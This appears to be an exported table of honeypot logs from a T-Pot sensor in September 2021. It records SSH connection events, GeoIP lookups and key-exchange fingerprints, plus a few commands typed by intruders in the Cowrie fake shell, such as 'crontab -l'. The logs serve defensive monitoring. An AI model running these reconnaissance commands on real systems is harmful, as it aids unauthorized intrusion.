26753	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:02.37379+03	2021-09-20 14:15:13.683647+03	{"_id": "QQboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:02.373790Z", "@timestamp": "2021-09-20T11:13:02.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26754	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:02.830516+03	2021-09-20 14:15:13.684675+03	{"_id": "TQboAnwBvYTbRNuEyyMl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1623364170820109, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45610, "dest_port": 22, "timestamp": "2021-09-20T11:13:02.830516Z", "@timestamp": "2021-09-20T11:13:02.830Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26755	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:02.830722+03	2021-09-20 14:15:13.68568+03	{"_id": "TwboAnwBvYTbRNuEzCNO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45610, "timestamp": "2021-09-20T11:13:02.830722", "@timestamp": "2021-09-20T11:13:02.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26756	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:02.831136+03	2021-09-20 14:15:13.686646+03	{"_id": "YwboAnwBvYTbRNuEzCP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f1a4afaad69d", "@version": "1", "timestamp": "2021-09-20T11:13:02.831136Z", "@timestamp": "2021-09-20T11:13:02.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26757	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.039379+03	2021-09-20 14:15:13.68868+03	{"_id": "ZAboAnwBvYTbRNuEzCP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:03.039379Z", "@timestamp": "2021-09-20T11:13:03.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26758	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.039917+03	2021-09-20 14:15:13.689646+03	{"_id": "ZQboAnwBvYTbRNuEzCP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:03.039917Z", "@timestamp": "2021-09-20T11:13:03.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26759	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:03.38904+03	2021-09-20 14:15:13.691674+03	{"_id": "ZgboAnwBvYTbRNuEzCP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "128.199.123.0", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3497474193572998, "duplicate": true, "timestamp": "2021-09-20T11:13:03.389040Z", "@timestamp": "2021-09-20T11:13:03.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26760	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:03.982241+03	2021-09-20 14:15:13.693645+03	{"_id": "aAboAnwBvYTbRNuEzyMN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1614548750534256, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38604, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.982241Z", "@timestamp": "2021-09-20T11:13:03.982Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26761	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:03.686889+03	2021-09-20 14:15:13.694645+03	{"_id": "awboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54506, "timestamp": "2021-09-20T11:13:03.686889", "@timestamp": "2021-09-20T11:13:03.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26762	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:03.770359+03	2021-09-20 14:15:13.695645+03	{"_id": "bgboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54506, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.770359", "@timestamp": "2021-09-20T11:13:03.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26763	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:04.18907+03	2021-09-20 14:15:13.697646+03	{"_id": "bwboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7347, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.189070", "@timestamp": "2021-09-20T11:13:04.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26764	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:03.706192+03	2021-09-20 14:15:13.698647+03	{"_id": "cAboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38604 (192.168.176.2:22) [session: 3532511486e4]", "session": "3532511486e4", "@version": "1", "protocol": "ssh", "src_port": 38604, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.706192Z", "@timestamp": "2021-09-20T11:13:03.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
